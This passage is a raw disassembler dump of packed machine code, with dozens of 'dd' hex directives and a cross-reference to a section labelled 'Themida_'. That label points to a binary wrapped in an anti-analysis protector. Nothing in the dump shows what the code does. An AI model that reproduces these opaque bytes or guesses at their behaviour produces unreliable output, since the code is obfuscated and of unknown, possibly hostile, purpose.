4BBE174Bh, 4BAFEB0h, 18013A5Bh dd 86189EE7h, 0E18540B3h, 0ABC046FFh, 6817880Ch, 0D86D5B32h dd 3EAE7382h, 0B64ED98Dh, 0C48C08AFh, 2CD54844h, 0D2EB09AFh dd 8319A417h, 0E2B843B6h, 43B19C0Bh, 6A5D018Eh, 0A518D3EAh dd 44B7821Ah, 0BC8D5274h, 0A03526D5h, 3597F23h, 0BB000000h dd 0D3C0716Fh, 1C8F663Ch, 73643D61h, 0C5378ED4h, 1D8B6238h dd 6D5B3268h, 0BC2B82D8h, 0CFC5509h, 5A4E277Bh, 5076FDA1h dd 405E089h, 83000000h, 48704E8h, 24248B24h, 75E868h, 24348900h dd 225268h, 24048900h, 0D1BDBB53h, 5E53064Ah, 48B545Bh dd 4C48124h, 68000000h, 57F5h, 8F243489h, 48B0840h, 0E0895024h dd 405h, 40500h, 4870000h, 348B5C24h, 0E1895124h, 4C181h dd 0C1830000h, 240C8704h, 0A0DBE95Ch, 1C8AFFFAh, 0AB0B1B89h dd 94B85D05h, 3064ADCh, 0BCE0FFC5h, 754A6748h, 0B33B8298h dd 0F26D72CBh, 64CE780h, 4A73FCC9h, 0AC60A5C1h, 0D62A3A7Bh dd 0EC79546Bh, 25620517h, 461CA58h, 4809B98Ch, 0D21A828Dh dd 891538C3h, 214709E6h, 95140815h, 0B26E1669h, 0A065146Ah dd 0C20713AFh, 7731DFDBh, 46389348h, 4C041378h, 0B74E5107h dd 886A572Ah, 0EB2F4376h, 24h, 8 dup(0) dd 0BDE900h db 2 dup(0) word_59BD0E dw 0B589h ; DATA XREF: Themida_:0053FD44o dd 64ADD72h, 25858Bh, 858B0645h, 64518D9h, 0DDBCB58Dh dd 858D064Ah, 6485000h, 55C3D0FFh, 0E8h, 0ED815D00h, 64ADDC2h dd 25BD83h, 0F010645h, 2C85h, 72B5FF00h, 8B064ADDh, 4518D985h dd 27363506h, 0D0FF3481h, 850F013Ch, 0Ah, 1B8h, 47E900h dd 0C0330000h, 40E9h, 8D1C6A00h, 4ADD76B5h, 0B5FF5606h dd 64ADD72h, 18D9858Bh, 36350645h, 0FF348127h, 0CC483D0h dd 0DD76B58Dh, 468B064Ah, 4E08314h, 0F04F883h, 784h, 0E9C03300h dd 5, 1B8h, 25BD8300h, 1064500h, 7850Fh, 0C35D0000h, 2E9h dd 8DCF5D00h, 4ADD9B85h, 0D1858906h, 0E806451Dh, 0Ch, 2F8D01FDh dd 12AA1367h, 6D08766Dh, 8B58D18Bh, 64C081D6h, 66000075h dd 681A5ABFh, 0 dd 67B65EF9h, 660634FFh, 0BA5BCB8Bh, 2D319636h, 6FE2F381h dd 880F3756h, 1, 0CFEB81FCh, 66275050h, 0F381D08Bh, 3BC882C4h dd 15800Fh, 10E90000h, 0D1000000h, 6D87557Ch, 6EC09D9h dd 3C74251Ch, 539BBC07h, 0EE9h, 12E86F00h, 503ADC53h, 21215D1Dh dd 8F06503Dh, 8B663004h, 4EE83FEh, 0EB806057h, 815F6163h dd 0FF8B5CFEh, 10850FFFh, 66000000h, 0E905DFBFh, 24h, 818FF4E5h dd 81B14879h, 344974F7h, 0FF72E93Ch, 2D73FFFFh, 63A5C3D4h dd 0DBB0163h, 0ED158520h, 7EE2A520h, 0DFE58D8Dh, 6A064Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 881B38C3h, 58BBD22Bh, 89075DE2h, 452A018Dh, 0E59D2306h dd 0C7064500h, 4503D585h, 6BF406h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 5A4F764Ah dd 0F08B6614h, 85C7C68Ah, 645095Dh, 0 dd 0C284B6BAh, 81B5FF6Ch, 6A064512h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B75C351h dd 45025D85h, 1195FF06h, 0E906452Ah, 9, 0DDD896F8h, 63A16D1Fh dd 0FF006AFFh, 45312195h, 0EBC08B06h, 2CCA8849h, 3E922C07h dd 0DC6EE40Ch, 0EA353C7h, 59AFC87Eh, 0B5AB1BE9h, 275C8031h dd 38ABA0D1h, 0C30946DAh, 0B320AB48h, 7E9A314Fh, 4FECA0BCh dd 24EA5470h, 0C7E1AE2Ah, 46913C1Eh, 0ABC40B36h, 1D0C8D8Ch dd 8B266121h, 8D8D4925h, 64AE0D5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 2AC35747h, 0BFEF6F76h, 18D89F5h dd 6A06452Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0D103C352h, 0BE964h, 0C9550000h dd 0C1DD127Ah, 6537C27h, 0D585C709h, 74064503h, 8000005Bh dd 9D891EEBh, 6452285h, 95D85C7h, 645h, 9D890000h, 64520C9h dd 0B61B5FFh, 0BD090645h, 6450841h, 0AF2453BEh, 1195FF68h dd 306452Ah, 4531599Dh, 0FF006A06h, 45312195h, 0EBC08B06h dd 2D8BAE0Bh, 0D17D79BCh, 58F73D5Eh, 0F97208EBh, 7D6Eh dd 0FEE90241h, 6800000Bh, 64AE2B3h, 0FB64C1E9h, 0E3D968FFh dd 0B7E9064Ah, 68FFFB64h, 64AE54Fh, 0FB64ADE9h, 0E5F468FFh dd 0A3E9064Ah, 68FFFB64h, 64AE69Fh, 0FB6499E9h, 0E88268FFh dd 8FE9064Ah, 68FFFB64h, 64AE91Ah, 0FB6485E9h, 0EA6168FFh dd 7BE9064Ah, 68FFFB64h, 64AEB4Fh, 0FB6471E9h, 3B932DFFh dd 57C1F8B0h, 0E5778C04h, 30A6225Ah, 40DEF7A9h, 67A9DCF9h dd 3769F06Eh, 0C1BB029Ch, 900853CBh, 0F25BE27Ch, 628CDA96h dd 0A6422D57h, 64824E8Ch, 6A2D5762h, 63066028h, 67C82D57h dd 631541F0h, 184E1A63h, 0B633A244h, 2A409A01h, 4AD3CAAh dd 38F08036h, 355F334Bh, 6FFB1785h, 0CA2062F8h, 0E33B5ACCh dd 2D5D1381h, 0E6122B03h, 0AA269601h, 51D0h, 9F3A5000h dd 24DFD509h, 8BF30AAh, 754BBDE9h, 0D906795Ah, 8E1C4934h dd 33A17158h, 0B3D74176h, 0E080C08Dh, 819DDA7Dh, 0DCA56D37h dd 34355ED5h, 425C4A46h, 0BC49FE05h, 0BA5A02A9h, 0ED25B92Ch dd 2D5C8177h, 0E81CD51Dh, 0AA272B07h, 0F62Eh, 63634800h dd 803D77F7h, 26DED416h, 182E8A8h, 98985797h, 0A24396D0h dd 6C973833h, 8610ACC6h, 76F0B8FEh, 9633A243h, 0A2438CDAh dd 559D4233h, 98E873E2h, 9DCF3737h, 6E89C00Bh, 0A1E51B94h dd 27B35333h, 76E01C94h, 0C620E82Eh, 833A1E5h, 3B63CA7h dd 0C38F893Fh, 355EF77Eh, 55E26DD2h, 0EDA5FF49h, 2F1864E3h dd 3DAB673Dh, 75339F4Bh, 247EC05Ah, 9F4AFA6Ch, 0FC63D433h dd 2CA1CF49h, 46ACE2B2h, 99CFDF49h, 37339F4Ah, 0D6CE1180h dd 60AFA13Fh, 8897F701h, 98B3672h, 3ED00000h, 666315A4h dd 983769F0h, 0CDC5BF0Eh, 7B9A125Dh, 0C27162EDh, 0D467F10Ch dd 26A923DCh, 77C6506Eh, 0C609813Dh, 2147031Dh, 0AF2D5762h dd 5D4B4303h, 0FEB436A0h, 0A61955C3h, 25D88033h, 52F9576Eh dd 0B053B90Bh, 0D6EE8426h, 0E42ED578h, 883BBC6Fh, 884FC67h dd 9C5F4F9Eh, 45D5ED9Eh, 43F17733h, 68DF33A2h, 0AF7B3C5h dd 0E6355F3Fh, 3F92D49Ch, 8B3C2D5Dh, 4684C664h, 82D8A66Dh dd 0E32B61EFh, 2D5D2C85h, 0A97DE44Bh, 2D5D2D3Bh, 0AC5891D9h dd 0AA26804Bh, 0CB6Ah, 63630C00h, 803D77F7h, 0AC238496h dd 699C5180h, 995197F5h, 33A2294Fh, 36226A22h, 3C82C15Eh dd 8426B04Eh, 891D842Bh, 33A1CA28h, 0A128A65Eh, 0E37BD7EFh dd 0F45E6876h, 8190AC4Eh, 0B325DC8Ch, 9D36740Ch, 0AD657B08h dd 33A2433Bh, 0B13F2295h, 0AE74EFECh, 355EED11h, 0C071F86Fh dd 7C344CFAh, 2F183B1Dh, 0A23CD1BBh, 0CEC5B708h, 3AA11E5Ch dd 0A2F10C7Ah, 0C1597724h, 38AF005Ah, 48C6FFB1h, 0F73105B0h dd 21459997h, 865h, 3F8E18BAh, 93DA4C45h, 0E168E219h, 348713AFh dd 84D7417Ch, 0D3F23C57h, 182FA45h, 0B64C4497h, 0E3E39524h dd 217FE477h, 5760FF69h, 3D55D12Dh, 34A65D4Bh, 0A69E39B6h dd 762EB12Fh, 0D79C05Eh, 2C776363h, 0F53E1060h, 9FE1B31Ah dd 1E85BA1Fh, 853973EBh, 375A34C8h, 128C076Dh, 65FC67D8h dd 3878CECCh, 5ED98F70h, 187E6135h, 9BB778D1h, 1C4EEC13h dd 114DDBF6h, 71ED7D9Bh, 0EEE14BFEh, 7B9BCD74h, 0A8245CEFh dd 1F64BC3Eh, 0FB016C7h, 0AEC466F0h, 64268412h, 9F013AACh dd 7E2394B2h, 27080920h, 1EB672CBh, 4F473980h, 22439BD3h dd 0ECB29F01h, 3359B58Ch, 15AA0096h, 8C1ABAE2h, 8F05633Dh dd 0F160DF1Fh, 999B778Fh, 598F5Bh, 0C077B29Fh, 7CC51D51h dd 19DD12A7h, 0B22CA1CFh, 9F1DC18Fh, 0D043D35Dh, 0AF27E35Ah dd 0DCF0A833h, 916DE842h, 3C955D27h, 94B662A3h, 31F9823h dd 0E227E3B5h, 0E0BCA5B3h, 8A9AD6CFh, 2F56506Ah, 7AD4E993h dd 82D84FE0h, 0A62F194Ah, 0BAB3FBB4h, 0DD7A694Eh, 4474822h dd 4BEA0000h, 442BBD75h, 32A533A2h, 43ED7B83h, 0C72D33A2h dd 92A95CCAh, 0AF3D7E7Ch, 3AA872E5h, 0D033A189h, 33A16B7Ah dd 0A16B5290h, 2F996533h, 43149D55h, 6482355Eh, 0F846F16Bh dd 49E57392h, 164943F6h, 9691B00Fh, 6EF2044h, 922C0000h dd 0C2FFB138h, 74930554h, 0A9215BE2h, 0DFF6AE31h, 0A6DDFE41h dd 70FB5568h, 0C20D8738h, 135ACCCAh, 62ED6599h, 85E3AFF9h dd 4B2D575Eh, 6363A7DFh, 0FF1577F7h, 5A1549C1h, 16A0BE3Bh dd 0E407420Eh, 92453568h, 6907184Bh, 99512395h, 2F146C74h dd 13793BACh, 75CA60F6h, 8A9995C2h, 0DF8E7330h, 672375C3h dd 85F08476h, 1371ED52h, 0ED41D9F5h, 7CEAEA52h, 289E9CC5h dd 5419A068h, 0C0778C33h, 2CBA5AB0h, 0C5A1654h, 0C2843364h dd 397331Dh, 5AED14ABh, 1434A222h, 389B188Dh, 4A691D61h dd 97000006h, 225AE57Dh, 0F6AE31A7h, 84FC4FD9h, 59539A0Ch dd 0B2A32AA4h, 0A630CD03h, 0E8629D17h, 39912F61h, 48C6FEB6h dd 4CC5C01h, 2D575EE2h, 9C0040ECh, 0A068289Eh, 355F19DFh dd 562C8E31h, 0F08A20BEh, 95EF4FD9h, 914FEF7Fh, 0B8E1E059h dd 0EAF0CB62h, 156FF9B1h, 0FE612D5Dh, 8001C94Bh, 9E2F19EBh dd 0C7A71535h, 0E6119BB3h, 8E64F758h, 33A1E454h, 0A1E4B036h dd 8D3B0733h, 848C3F8Bh, 67C83568h, 84D80FC7h, 0DB02D57h dd 8557CB2Ch, 32B47C09h, 9C39ED04h, 47A1692Bh, 8939ED04h dd 1A99B326h, 0D26E40B8h, 59FFC88h, 0C2FC0000h, 728F0148h dd 0A42355E4h, 0D9F1AB32h, 0F86FE41h, 0F60D4E91h, 0C00B8538h dd 125D37C8h, 63EA7C9Ah, 0B23D9529h, 35B37F29h, 9B2D575Eh dd 9E9C770Fh, 29A06828h, 0A93568E4h, 96D44243h, 0BF20BED9h dd 9728FE5h, 57642741h, 9306A92Dh, 5A98CA60h, 5763588Eh dd 56C1762Dh, 58F8D6EEh, 19A5040Dh, 61318369h, 0DBA3FF7Ah dd 371C4B34h, 872AFFC6h, 0DB38334h, 0AF3BDBD1h, 89B4FAD5h dd 9A53DD1h, 780B83B6h, 1D972E49h, 516E84E1h, 0C2C867C7h dd 2D5746A4h, 0DF49402Ah, 16BD209Fh, 6D26DED4h, 14863D52h dd 4FF219D6h, 85E331EFh, 0D61900Ah, 0EF7D834h, 0BA9C7267h dd 6363C57Ch, 90079132h, 0A8806749h, 7057AA2Bh, 0F3000001h dd 34A65D4Bh, 0E056248Dh, 0F12D3F90h, 0FD03DF93h, 0D17ECA5Ah dd 0F355ED4h, 2BA75FB5h, 5CD485E3h, 71E44B2Dh, 0D4BD25FDh dd 11492D5Ch, 0A91FE3D8h dd 4743A9EFh, 1E242CD3h, 3B7FDFF8h, 3ECD0298h, 8FCD2F19h dd 0A14EA5C3h, 0A1692B33h, 33A14F47h, 0B32689h, 0CEC609BEh dd 68025836h, 0C673FA54h, 7A364EF8h, 355E3E89h, 825A9047h dd 2D5C7E60h, 0D692D022h, 2D5C7E90h, 46E893Eh, 2AD6D92Dh dd 41FDAA27h, 0BB000000h, 0C8506C08h, 0E51C8E30h, 0A65D4B89h dd 56248D34h, 0BA30AA25h, 0CA869E05h, 355F3F35h, 4E86248Bh dd 2D5D4014h, 53BFB6FEh, 0B65A8770h, 912E8C1Ah, 4B546FEAh dd 565F4028h, 9576AA27h, 10000000h, 77F76363h, 0D416803Dh dd 32A826DEh, 83CA4478h, 0A24006ABh, 7F3B9433h, 99ADD7Fh dd 0A9251F86h, 0EC4ED8F4h, 3E542C53h, 1DD20886h, 0C8D663FAh dd 0B16A267Eh, 0F355D25h, 13B2D858h, 43423A85h, 0DAFA3BD5h dd 106A91B2h, 3BC94h, 77EFE100h, 8315ACE4h, 0D14B4038h dd 6CFA168Eh, 0BC2AABDDh, 5B95202Dh, 0EB9D2CBAh, 0B5EF7EE8h dd 443C8F1Fh, 0C68FDE48h, 5B588E5Ah, 0FA762D57h, 0A184B9Ah dd 0EBA11653h, 17AE9601h, 94D6407Ch, 7325B4DBh, 3674C753h dd 77F76363h, 0C609813Dh, 7EE8A0E6h, 5033A243h, 0C10674EFh dd 33A2C3A3h, 0A1C3FB69h, 0BDCECC33h, 9D528802h, 0E7622E76h dd 25356863h, 796A38B2h, 0BB50F94Fh, 443F3A21h, 637FF81Bh dd 0C68743D5h, 22F150Ch, 0C368A35Dh, 82D897FAh, 324E6h dd 0CF477900h, 1B8D047Ch, 0A923D8D0h, 0C4526E26h, 14820375h dd 0B37D88C5h, 43358412h, 0D87D640h, 0DCD467F7h, 0BE27B620h dd 5AC026E2h, 620E2D57h, 0F76363E2h, 9813D77h, 0E701C90Fh dd 0E933A243h, 4389DFABh, 904733A2h, 0C673CA6Dh, 0F0364EF8h dd 73EB7D9Ah, 0C44145FCh, 0C355F33h, 16B3D95Bh, 61679D80h dd 0F731A525h, 4EA4E64Ch, 0EE8426B0h, 4CE37BD5h, 0FE64BED9h dd 842D5C8Dh, 3B7995ACh, 5C8DF96Fh, 0F160D72Dh, 271B38BFh dd 6E3A78AAh, 2D5C85F8h, 833F61D6h, 34FBEC17h, 9F000000h dd 0D7ED9E9Ch, 8840D047h, 355F3EF7h, 0CC466C9h, 2D5D3FD6h dd 9FD74BCh, 0AA266DA6h, 0CD8Dh, 0ADD88B00h, 0B08F6920h dd 1672375h, 0CF2D5C8Fh, 638DF918h, 48A87763h, 9AC53694h dd 0BDF777h, 0A65E5496h, 0D144D6EDh, 73EFE79Dh, 0E49D12E8h dd 39D533A1h, 6E661EA1h, 0E3FF7AF0h, 678DC355h, 0C17EFC6Ah dd 0B9574C56h, 4EF1355Eh, 17647AFFh, 0B5CF6FFBh, 0F61D801Ah dd 3D2FE2AEh, 2A9D2F18h, 1AD6146Ah, 339F7DCCh, 423A5D02h dd 3A8AD543h, 0BA335CCh, 0BA5B0DB4h, 0D346D0E9h, 0F73ED839h dd 62065497h, 1DDh, 0C7168002h, 1BA234CDh, 69F06A61h, 0BC0F9B37h dd 0C5FC9C4h, 5B7AB4CFh, 890A82CDh, 3ED4CC1Fh, 6B6B1DACh dd 0B9E76CFFh, 575977F1h, 0B5CD592Dh, 9D316263h, 2616A905h dd 46893CAAh, 0E21DB64Eh, 0D67DF268h, 9E9C0787h, 0DFA06828h dd 31355F3Fh, 0B4DB4F4Bh, 3F84DE36h, 260E2D5Dh, 6DF4FB0Fh dd 4EA4AA26h, 2C83DBB5h, 0D69CB5h, 2B840000h, 86992F3Bh dd 0A1220A5Eh, 9938B737h, 776363ADh, 4BE4C4B8h, 8A20570Ah dd 3143DDF0h, 0EAC3ADBh, 74AC06B1h, 33A230BBh, 482D3F3h dd 0A4DC6F92h, 0B93CBE28h, 0EB0113A5h, 4EE17DEDh, 988D45D7h dd 30355F0Ch, 0A7BB3C8Fh, 0D2E90711h, 834FD978h, 2F188EB5h dd 9600BFD5h, 0D1999B54h, 339FAE97h, 0D36F9639h, 3EBC16A9h dd 0EC1A1A81h, 0BCF447D1h, 1EF59701h, 0E97F76Dh, 0EFB8CCh dd 922C0000h, 0C2FFB138h, 74930554h, 0A9215BE2h, 0DFF6AE31h dd 0A6DDFE41h, 70FB5568h, 0C20D8738h, 135ACCCAh, 62ED6599h dd 85E3AFF9h, 4B2D5758h, 5D4BA7DFh, 38B737A7h, 6B81A15h dd 0BED9C6F9h, 0E51CFC6h, 0AF257E96h, 9D00BF3Fh, 0F9516D9Bh dd 4FA5075Eh, 0CFBF26B0h, 77F76363h, 0C609813Dh, 999B2D31h dd 68E376D1h, 2375DA35h, 0C65EC8C5h, 5763DC0Ah, 2A4DF22Dh dd 0C48CC280h, 2D5763A2h, 2018BB2Ch, 46232ACh, 5FF79F89h dd 0E1F583ADh, 2080DB7Ah, 6499CACAh, 48FF70EAh, 0EB659812h dd 2E49FC73h, 6AC05E76h, 73C965B2h, 7DF42AD4h, 428D05B9h dd 0E0194A4Ah, 2BEF476h, 72995694h, 0FD156FCFh, 2E46F16Dh dd 0B0C620E8h, 0A708B633h, 3BFF763Ch, 0C4BC0F9Bh, 681C5EC8h dd 11h, 4D663E08h, 81D2A076h, 31CFB111h, 0BAA0559h, 0E961635Bh dd 0B873F75h, 0AB23D9D3h, 0CC467933h, 6FF9146Eh, 8E18B5CFh dd 2CBA562Ch, 4DDFF48Eh, 0E87E9B11h, 5456CE72h, 4C6815Eh dd 83000000h, 348704EEh, 89575C24h, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 2414895Ch, 0A6B68h, 24348900h, 0E14EBF57h dd 5A57064Ah, 4EC815Fh, 89000000h, 4832424h, 525E0424h dd 6D243481h, 8F40A13Fh, 0BF570846h, 75592F64h, 0F7814F4Fh dd 11732C08h, 0EDE78147h, 81773449h, 813E04C7h, 87E31DCh dd 2434FF5Fh, 4C4815Eh, 0FF000000h, 835A2434h, 0D7E904C4h dd 29FFFB58h, 0A046E324h, 77A80216h, 0EC63B88Ch, 0C503064Ah dd 0B384E0FFh, 0D4911A7Ch, 92DE1903h, 0A0B31065h, 0DFAD3FBBh dd 66460DF7h, 115A59D0h, 52551AE5h, 0EDF5777Bh, 0DB230A84h dd 985A5266h, 0ABE9149Dh, 50000000h, 1C3F2E8Dh, 0DA5F72B1h dd 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h dd 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h dd 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h dd 0F94E0097h, 9FA5B4h, 0F07B6B5Ch, 8A924Ah, 45F352D0h dd 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h dd 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh dd 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h dd 0BCE1B6F6h, 0B3ED7293h, 1E80097h, 3D94E7A6h, 879C8332h dd 1FE92AB2h, 68000012h, 64AEF9Fh, 0FA8FF4E9h, 0F0BA68FFh dd 0EAE9064Ah, 68FFFA8Fh, 64AF19Ch, 0FA8FE0E9h, 0F2E968FFh dd 0D6E9064Ah, 68FFFA8Fh, 64AF34Ch, 0FA8FCCE9h, 0F3F968FFh dd 0C2E9064Ah, 68FFFA8Fh, 64AF4A0h, 0FA8FB8E9h, 0F55168FFh dd 0AEE9064Ah, 68FFFA8Fh, 64AF5F8h, 0FA8FA4E9h, 0F7AE68FFh dd 9AE9064Ah, 68FFFA8Fh, 64AF88Dh, 0FA8F90E9h, 0F9C468FFh dd 86E9064Ah, 68FFFA8Fh, 64AFAD0h, 0FA8F7CE9h, 0FC9768FFh dd 72E9064Ah, 68FFFA8Fh, 64AFD98h, 0FA8F68E9h, 8E45B2FFh dd 2ED7CB1Eh, 0CA7B6BBEh, 75188752h, 1FB422F7h, 0E1B3CB8Dh dd 7BCE5EF3h, 9960FC89h, 36039928h, 0E5A438C3h, 7F5C03A5h dd 9BE41800h, 32CDC0BDh, 6722956Ch, 0DF6EAF05h, 0A1C9399Fh dd 0E66F0FF0h, 0C3451E40h, 0D1B17FAh, 0D444A2F8h, 4A13DEBFh dd 7424AA59h, 58h, 0D3625B46h, 9DF1259Bh, 89A40FF0h, 0AB85FE4Fh dd 0B11A612Ch, 30B314h, 57EB4CC2h, 0FADA6E71h, 481D217h dd 5D4B125Eh, 0B43F2A8h, 0FADACA95h, 69ED7617h, 0FADC8C47h dd 3F46C217h, 29EE3411h, 0EC8C3CA2h, 0E7164CFBh, 0B257459Ah dd 0A56C7A3Ch, 0B437DEC0h, 85000000h, 7832CDC0h, 0DB8F42B1h dd 25FCD45Ah, 604C12B7h, 0C42A012Ch, 51B2FE0h, 0B5FE4817h dd 0E76BF811h, 5A00BB2Eh, 0F7751083h, 0B60BF5D5h, 3FCA3D11h dd 0DE695CADh, 7966589Ch, 0C911B601h, 1C5E36BCh, 604608B9h dd 0FF10076h, 4321BBC8h, 1DB3FB4Ah, 1642AFBAh, 79BDFD06h dd 0DC823DB0h, 9200D95Dh, 220F6FFDh, 882B02B5h, 2DE46A5Ch dd 41280ABFh, 0A712E8Ch, 0F8FD8FEh dd 725F0000h, 4F841DBh, 0A818E17Bh, 45B485E7h, 0E1CF1A82h dd 861EB02Ch, 0F16B208Eh, 9309B628h, 36B65546h, 0D755F0E3h dd 895648B2h, 39180080h, 0D2C0E8A8h, 675AAF3Dh, 5B1240DCh dd 259BD362h, 0FF09DF1h, 7E60064Fh, 17FA9765h, 42182D3Bh dd 0DEBFAC64h, 10B3Fh, 0CDC08D00h, 40B17832h, 0FC550D81h dd 1EB3210Eh, 0CFE1A948h, 11B59120h, 84D653A0h, 0D276FCA9h dd 0F77BB0A9h, 4E1F539Fh, 7CFDA15Ah, 0B6678F50h, 2CA23311h dd 0B6754802h, 46280511h, 0FF888A1Bh, 8243B368h, 27E2D50Ch dd 0C638E1C5h, 5ED46539h, 35691487h, 12AD20C9h, 782EDBCDh dd 860775F9h, 0F61BC4FAh, 5EA711B5h, 0DDD099D1h, 79FD7C22h dd 0F5C39335h, 257D0FF0h, 0FB09DC83h, 5F1F6417h, 0FB097679h dd 3CB9CA17h, 0D7983E72h, 6B17FB09h, 0B4FA941Ah, 0C8EEA011h dd 1642A780h, 0A5F9B1C2h, 0CC4205F4h, 7AE2A715h, 1C620F3Ah dd 0CF1B35ACh, 3724924Bh, 0D46539C4h, 76946F57h, 0B3F7712Eh dd 0E7425h, 0C68D7A00h, 661F9366h, 2C33306h, 0AD604F9Ah dd 57FCEA3Fh, 0A96B73D5h, 0C316963Bh, 61A834D1h, 0FE4BD170h dd 0ADEC700Bh, 81A44B6Dh, 0D31C1800h, 3DD2C0F5h, 0DC675AAFh dd 29DCCB92h, 0F63C475h, 0C16CC1F0h, 201EB006h, 0D9FFCDC0h dd 11B59116h, 118459AAh, 0DCB5E976h, 0EECE5EE9h, 731283AAh dd 412E0E2Fh, 8111B591h, 0B727FE74h, 91FAE5DBh, 3D4611B5h dd 1549F6E8h, 7AD767E4h, 0C7158CDFh, 0F5AD213Ah, 8E1EA91Ch dd 0A677F601h, 4E2C9536h, 119102F1h, 68ADEF63h, 4B3F91D9h dd 0ED0FF0F0h, 0B7ABB198h, 0E41F8521h, 0F8DE9021h, 0DC052A6h dd 0A597CB18h, 761B8960h, 0CA840130h, 5016AF23h, 4F612DA1h dd 1412CB4Eh, 4D565EEh, 8D3EAE91h, 41DB58D9h, 587A05F8h dd 6EFEC4ADh, 921CBACEh, 5C00000Dh, 0F544D86Fh, 15E47801h dd 0B178E4A5h, 0CC1D8F42h, 11B329DEh, 681D8B89h, 16B325F4h dd 0B3524396h, 52EDE029h, 694FCFCAh, 18008286h, 0C0EBAD3Ah dd 0E6C32CDh, 5A7C3E8Fh, 0FF0B020h, 93EE6996h, 8800ACE4h dd 0FDA16453h, 96DFF7Ch, 80CD3F5h, 2FB417FBh, 0B92CE9ABh dd 0B15905Fh, 0D698E5AFh, 36710EF0h, 0A1075B16h, 1E406DBEh dd 0DA7DF102h, 0D88BD589h, 8E1E406Fh, 0D7CF8B92h, 80E50584h dd 57h, 0D0D3E14Ch, 13C1A989h, 0BEBFE3A2h, 0F55A9031h dd 0CBE1F196h, 625B6547h, 52259BD3h, 0EE0FF0C3h, 7564CD3Dh dd 0E06D8CD2h, 91022B63h, 0DFD6993Fh, 196A17FAh, 13CE009Ch dd 0DD17FAE1h, 321F5FEAh, 88B97A03h, 6AE46A82h, 0DF9F2E9Fh dd 6AE09B0Eh, 0CB7A432h, 5BEE0000h, 6E178B62h, 3177A9E1h dd 930FFE65h, 25F40842h, 0AB5C4CB5h, 75F9782Eh, 0E9E299Ch dd 875C83AEh, 529BC2B2h, 0AF9205DCh, 59D88E3Fh, 11B486DCh dd 4FC8EEA0h, 0F3164935h, 32942862h, 1E4B4F2Dh, 86CA4095h dd 9C299B42h, 31CC3F16h, 1D6B5EABh, 4B4FB4BBh, 7AC70C1Eh dd 46F7D624h, 727C9234h, 0B1C21C86h, 7C483A91h, 5F79B177h dd 0C45h, 9715BC29h, 37B54E42h, 0CB51F2E2h, 60FC8F7Eh dd 6662B99h, 6A583C44h, 0F247A5h, 9F10D943h, 3AAD7CE0h dd 327C1D8Fh, 83D39Ch, 26E26F18h, 0B5931C37h, 0ED5C7911h dd 64940BADh, 0A72C0FFEh, 70D3C697h, 0DA42CF80h, 0BDE19C0Fh dd 0AFEF5E7Fh, 3B9CF109h, 143E4716h, 713189BDh, 0E2ECEA3Eh dd 8C00000Bh, 25F4681Fh, 459408B1h, 0E128B455h, 7CCD5FF2h dd 0E163F98Eh, 38CD3BD9h, 0A66355A4h, 4302F346h, 0E29D10D9h dd 399F1F7Ah, 18008436h, 0C05B7D8Ah, 0B17832CDh, 560E843Dh dd 0B64F436Ah, 14CD41F0h, 4140E6A1h, 3AACEEF7h, 65D87AA4h dd 6B4h, 0D3625B57h, 646D259Bh, 0BACB0FFEh, 0BB629F0h dd 4FDEE643h, 946534F2h, 3D3C6225h, 0C87D6BB0h, 0C1E8CC42h dd 0CC6D31D0h, 611C8F46h, 0CEDD7C29h, 0D0954233h, 875C025Ah dd 0D618005Eh, 0F03446F7h, 5C11DEh, 0AE24B118h, 7AAECCE2h dd 0FB08163Bh, 316790DBh, 0B91F6B71h, 0B35h, 0A705CC39h dd 47A55E52h, 0DB4102F2h, 70EC9F0Eh, 16963BA9h, 7A682CB4h dd 108257D5h, 0AF20E973h, 4ABD8C10h, 226C2DBFh, 84E38Ch dd 36125F18h, 6C32CDC0h, 0C3672295h, 93D77C6Ah, 6238CB3Ah dd 0A73A43C5h, 0D3879EAAh, 0D87AA4D3h, 6078Ch, 26994000h dd 0FC12C79Bh, 6927F0F0h, 0C8FA70FDh, 0B5931C37h, 0ED5C7911h dd 64D70BADh, 14610FFEh, 0A820935Ah, 7E6976h, 0F8CD918h dd 0C92A9E4Fh, 0F8AE2BD6h, 8E5BF579h, 0F63A601Bh, 8509B427h dd 3747F6D7h, 3B9D5991h, 0AC96DF16h, 71318B01h, 8E18BECAh dd 6000000Ah, 0F940DC73h, 19E07C05h, 0B58418A9h, 0D0198346h dd 1DBF2DE2h, 6C218F85h, 0AB729F0h, 0B7564792h, 56F1E435h dd 554BB3D6h, 1800858Ah, 0C0EFA936h, 956C32CDh, 7AD76722h dd 79DC857h, 356DE1EDh, 2F3BAF4h, 981E1F43h, 3FA7F30Ah dd 18D87ABEh, 55Ch, 0D3625BAAh, 64C8259Bh, 0EF740FFEh dd 0BD0BFEAFh, 7E541Bh, 1A67EC18h, 6A178950h, 0C8247B5h dd 0A9544792h, 0A47589F5h, 0B7B89433h, 0B18007Eh, 0CF9330A2h dd 32DA12Eh, 18008050h, 842A2603h, 7FF685A6h, 0AD1CB9FBh dd 1BAFCBEDh, 0FC09163Bh, 31085DDAh, 4C0A9E71h, 9DDh, 0FF6D2491h dd 9F0DB62Ah, 33A95A4Ah, 0C854F7E6h, 6EFE9301h, 0D2C0D4ECh dd 685AAF3Dh, 7F841DBh, 0A215E478h, 9A0485E7h, 863B24h dd 5E7A8718h, 786ACDC0h, 196697CBh, 83F9EC45h, 0B591422Dh dd 0E875FE11h, 58EDDBB2h, 8E37AB02h, 5055EFD8h, 0D37EB0CDh dd 1E011F4Fh, 0C85AD0B7h, 0B101E5B5h, 995AD87Ah, 68000004h dd 0B5912737h, 0E8597C11h, 64D000A6h, 2C720FFEh, 7EE58Ah dd 